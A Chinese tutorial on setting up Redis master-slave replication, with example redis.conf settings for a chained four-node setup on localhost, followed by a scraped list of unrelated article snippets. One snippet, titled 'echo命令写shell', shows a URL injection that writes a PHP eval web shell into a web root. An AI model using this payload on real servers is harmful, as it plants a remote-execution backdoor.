实现Redis的主从复制配置比较简单,而且容易明白。

下图是要配置的主从复制结构图:

1.说明

Redis主从复制中一个主服务可以有多个从服务,一个从服务可以有多个从服务。

配置比较简单,只需要更改redis.conf文件中的slaveof参数配置即可。

slaveof参数的格式如:slaveof <masterip> <masterport>

如果master服务器设置有密码则需要配置masterauth参数。

masterauth参数格式如:masterauth <master-password>

2.配置主从服务器

如上图可见master和slave1,slave2,slave3的服务器的端口的IP。

master :

port 6379
        requirepass redis
  slave1 :
        port 6479
        slaveof 127.0.0.1 6379
        masterauth redis
        requirepass redis
  slave2 :
        port 6579
        slaveof 127.0.0.1 6479
        masterauth redis
        requirepass redis
  slave3 :
        port 6679
        slaveof 127.0.0.1 6379
        masterauth redis
        requirepass redis

需要注意的是如果服务器中为设置requirepass参数,则从服务中不需要设置masterauth参数。

3.启动服务器和客户端连接

master:$ redis-server master.conf

slaven:$ redis-server slaven.conf[依次类推]

client:$ redis-cli -a <requirepass> -p <port> 这里注意由于开启服务器较多,端口号一定要设置为要连接的服务器监听的端口。

通过redis-cli连接到redis-serverz之后,执行info命令,来查看服务器信息。

master:

可以看到master服务器的角色是master并且连接其有2个从服务分别是127.0.0.1:6479和127.0.0.1:6679,即对应文中所描述的slave2和slave3。

slave1:

可以看出slave1服务器角色是slave,并且其连接的主服务器是127.0.0.1:6379,即文中所描述的master,在整个主从复制集中作为主服务器;连接其的有1个从服务器127.0.0.1:6579,该服务器则是文中描述的slave2,在整个主从复制集中作为从服务器。

slave2:

可以看出slave2是从服务器,其连接的主服务器是127.0.0.1:6479,即文中描述的slave1,slave1在整个主从复制集中同样是作为从服务器。

slave3:

可以看出slave3是从服务器,其连接的主服务器是127.0.0.1:6379,即文中描述的master,master在整个主从复制集中是作为主服务器的。

4.应用

从服务其的写功能是默认被关闭的,也不建议向从服务器写数据的。

经过文中的一些列配置,就可以在应用中将Redis数据库的客户端读写进行合理的分离。

Ubuntu 14.04下Redis安装及简单测试 http://www.linuxidc.com/Linux/2014-05/101544.htm

Redis集群明细文档 http://www.linuxidc.com/Linux/2013-09/90118.htm

Ubuntu 12.10下安装Redis(图文详解)+ Jedis连接Redis http://www.linuxidc.com/Linux/2013-06/85816.htm

Redis系列-安装部署维护篇 http://www.linuxidc.com/Linux/2012-12/75627.htm

CentOS 6.3安装Redis http://www.linuxidc.com/Linux/2012-12/75314.htm

Redis安装部署学习笔记 http://www.linuxidc.com/Linux/2014-07/104306.htm

Redis配置文件redis.conf 详解 http://www.linuxidc.com/Linux/2013-11/92524.htm

Redis 的详细介绍请点这里 
Redis 的下载地址请点这里

本文永久更新链接地址http://www.linuxidc.com/Linux/2015-03/115610.htm

实现Redis的主从复制配置的更多相关文章

  1. redis的主从复制配置

    redis的主从复制配置 一.     原理 Redis的主从复制功能非常强大,一个master可以拥有多个slave,而一个slave又可以拥有多个slave,如此下去,形成了强大的多级服务器集群架 ...

  2. windows下Redis主从复制配置(报错:Invalid argument during startup: unknown conf file parameter : slaveof)

    主从复制配置中的遇到的异常: Invalid argument during startup: unknown conf file parameter :  slaveof 把Redis文件夹复制两份 ...

  3. contos7下安装redis&redis的主从复制的配置&redis 哨兵(sentinel)

    一.centos7下安装redis 1.解压 redis-5.0.5.tar.gz 压缩文件 解压命令为: .tar.gz -C redis 解压后进入 redis 工作目录,进入 redis-5.0 ...

  4. Redis主从复制配置+哨兵模式

    架构设计: master:s0 slave:s1.s2 主机映射信息如下: 192.168.32.100 s0 192.168.32.101 s1 192.168.32.102 s2 1.安装Redi ...

  5. 4、解析配置文件 redis.conf、Redis持久化RDB、Redis的主从复制

    1.Units单位 配置大小单位,开头定义了一些基本的度量单位,只支持bytes,不支持bit 对大小写不敏感 2.INCLUDES包含 和我们的Struts2配置文件类似,可以通过includes包 ...

  6. Redis总结(三)Redis 的主从复制

    接着上一篇,前面两篇我总结了<Redis总结(一)Redis安装>和<Redis总结(二)C#中如何使用redis> 所以这一篇,会讲讲Redis 的主从复制以及C#中如何调用 ...

  7. redis的主从复制部署和使用

    reids一种key-value的缓存数据库目前非常流行的被使用在很多场景,比如在数据库读写遇到瓶颈时缓存且读写分离会大大提升这块的性能,下面我就说说redis的主从复制 首先需要启动多个redis实 ...

  8. redis实现主从复制-单机测试

    一.redis实现主从复制-单机测试1.安装redis tar -zxvf redis-2.8.4.tar.gzcd redis-2.8.4make && make install2. ...

  9. 8. redis的主从复制和sentinal

    一. redis主从复制(读写分离) redis的主从复制分为两类节点:1个master和多个slave,master进行读写操作,slav进行只读操作 启动步骤: 主节点照常启动,slave节点启动 ...

随机推荐

  1. clipboard复制剪贴板功能,以及用requirejs时报错---Uncaught ReferenceError: Clipboard is not defined

    zeroclipboard是走的flash插件,手机浏览器是不支持的,所以不得不舍弃之,用clipboard,clipboard不需要flash就可以完成复制剪切等功能,而且可以兼容pc,移动端,下面 ...

  2. Hmmer安装与使用

    Hmmer的安装与使用   从功能基因研究的角度来讲,相关的搜索,比如从序列数据库中,找同源的序列,或者对一个对一个新的基因功能进行鉴定,使用hmmer比使用blast有着更高的灵敏度已经更高的搜索速 ...

  3. LeetCode —— Merge k Sorted Lists

    /* ** 算法的思路: ** 1.将k个链表的首元素进行建堆 ** 2.从堆中取出最小的元素,放到链表中 ** 3.如果取出元素的有后续的元素,则放入堆中,若没有则转步骤2,直到堆为空 */ #in ...

  4. 关于Unity动态物体无法向使用使用custom shader和lightmap的物体投射阴影

    最近在做unity shader forge和marmoset的优化,TA那边遇到了一个阴影显示的问题,具体如下:   在Forward Rendering状态下,静态场景使用了是shader for ...

  5. 将当前网址生成快捷方式在桌面(仅支持IE)

    //安装到桌面function toDesktop(sUrl,sName){ try { var WshShell = new ActiveXObject("WScript.Shell&qu ...

  6. echo命令写shell

    http://site/x.php?x=echo ^<?php @eval($_POST[x])?^> > D:\wwwroot\x.php

  7. OC-点语法

    点语法的本质:方法调用 #import <Foundation/Foundation.h> #import "Person.h" int main(int argc, ...

  8. jquery 匿名函数的区别

    下面两个定义函数的方法是等价的 var test = function(val){alert(val);} function test(val){alert(val);} 都是定义了一个test()方 ...

  9. PHP本地通过映射,实现多域名访问

    PHP本地通过映射,实现多域名访问 第一步:先在C盘下的windows/system32/drivers/etc/hosts文件加上 127.0.0.1       localhost    127. ...

  10. thinkphp的url地址区分大小写?

    在默认情况下: 在访问url地址的时候, 其中的 Action类名 即: 模块名称 是区分大小写的. (只有模块名, 即控制器名称) 可以根据设置 'URL_CASE_INSENSITIVE' =&g ...